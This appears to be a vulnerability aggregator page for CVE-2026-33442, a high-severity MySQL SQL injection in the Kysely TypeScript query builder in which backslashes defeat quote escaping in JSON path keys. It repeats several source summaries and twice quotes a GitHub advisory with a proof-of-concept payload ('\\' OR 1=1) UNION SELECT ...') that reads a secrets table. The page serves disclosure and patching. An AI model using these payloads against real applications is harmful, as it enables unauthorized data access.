CVE-2026-33442
Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.
Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.1
Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.
Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.
- Record
CVE-2026-33442- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
EUVDEUVD-2026-16264
8.1
Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.
- Record
EUVD-2026-16264- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-fr9j-6mvq-frcv
8.1
Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.
Summary
The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.
Details
When a user calls .key(value) on a JSON path builder, the value flows through:
-
JSONPathBuilder.key(key)atsrc/query-builder/json-path-builder.ts:166stores the key as aJSONPathLegNodewith type'Member'. -
During compilation,
DefaultQueryCompiler.visitJSONPath()atsrc/query-compiler/default-query-compiler.ts:1609wraps the full path in single quotes ('$...'). -
DefaultQueryCompiler.visitJSONPathLeg()atsrc/query-compiler/default-query-compiler.ts:1623callssanitizeStringLiteral(node.value)for string values (line 1630). -
sanitizeStringLiteral()atsrc/query-compiler/default-query-compiler.ts:1819-1821only doubles single quotes:
// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g
// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, "''")
}
The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.
The bypass mechanism:
In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:
sanitizeStringLiteralsees the'and doubles it:\'' OR 1=1 --- The full compiled path becomes:
'$.\'' OR 1=1 --' - MySQL parses
\'as an escaped quote character (consuming the first'of the doubled pair) - The second
'now terminates the string literal OR 1=1 --is parsed as SQL, achieving injection
The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.
PoC
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'
const db = new Kysely({
dialect: new MysqlDialect({
pool: createPool({
host: 'localhost',
user: 'root',
password: 'password',
database: 'testdb',
}),
}),
})
// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
id INT PRIMARY KEY AUTO_INCREMENT,
data JSON
)`.execute(db)
await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)
// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never
const query = db
.selectFrom('users')
.select((eb) =>
eb.ref('data', '->$').key(userInput as never).as('result')
)
console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal
const results = await query.execute()
console.log(results) // Returns injected query results
Simplified verification of the bypass mechanics:
const { Kysely, MysqlDialect } = require('kysely')
// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
.selectFrom('users')
.select((eb) =>
eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
)
.compile()
console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
// ^^ MySQL sees this as escaped quote
// ^ This quote now terminates the string
// ^^^^^^^^^^^ Injected SQL
Note: PostgreSQL is…
- Record
GHSA-fr9j-6mvq-frcv- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
NVD
8.1
Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.
- Record
CVE-2026-33442- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
OSV
8.1
Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.
Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.
- Record
CVE-2026-33442- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVGHSA-fr9j-6mvq-frcv
8.1
Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.
Summary
The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.
Details
When a user calls .key(value) on a JSON path builder, the value flows through:
-
JSONPathBuilder.key(key)atsrc/query-builder/json-path-builder.ts:166stores the key as aJSONPathLegNodewith type'Member'. -
During compilation,
DefaultQueryCompiler.visitJSONPath()atsrc/query-compiler/default-query-compiler.ts:1609wraps the full path in single quotes ('$...'). -
DefaultQueryCompiler.visitJSONPathLeg()atsrc/query-compiler/default-query-compiler.ts:1623callssanitizeStringLiteral(node.value)for string values (line 1630). -
sanitizeStringLiteral()atsrc/query-compiler/default-query-compiler.ts:1819-1821only doubles single quotes:
// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g
// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, "''")
}
The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.
The bypass mechanism:
In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:
sanitizeStringLiteralsees the'and doubles it:\'' OR 1=1 --- The full compiled path becomes:
'$.\'' OR 1=1 --' - MySQL parses
\'as an escaped quote character (consuming the first'of the doubled pair) - The second
'now terminates the string literal OR 1=1 --is parsed as SQL, achieving injection
The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.
PoC
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'
const db = new Kysely({
dialect: new MysqlDialect({
pool: createPool({
host: 'localhost',
user: 'root',
password: 'password',
database: 'testdb',
}),
}),
})
// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
id INT PRIMARY KEY AUTO_INCREMENT,
data JSON
)`.execute(db)
await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)
// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never
const query = db
.selectFrom('users')
.select((eb) =>
eb.ref('data', '->$').key(userInput as never).as('result')
)
console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal
const results = await query.execute()
console.log(results) // Returns injected query results
Simplified verification of the bypass mechanics:
const { Kysely, MysqlDialect } = require('kysely')
// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
.selectFrom('users')
.select((eb) =>
eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
)
.compile()
console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
// ^^ MySQL sees this as escaped quote
// ^ This quote now terminates the string
// ^^^^^^^^^^^ Injected SQL
Note: PostgreSQL is…
- Record
GHSA-fr9j-6mvq-frcv- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33442 is a high vulnerability (CVSS 8.1) in Kysely, published March 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.45%, the 39th percentile. Fixed in kysely 0.28.14.
References
Left out here: the rest of 2 source descriptions. The JSON record has them.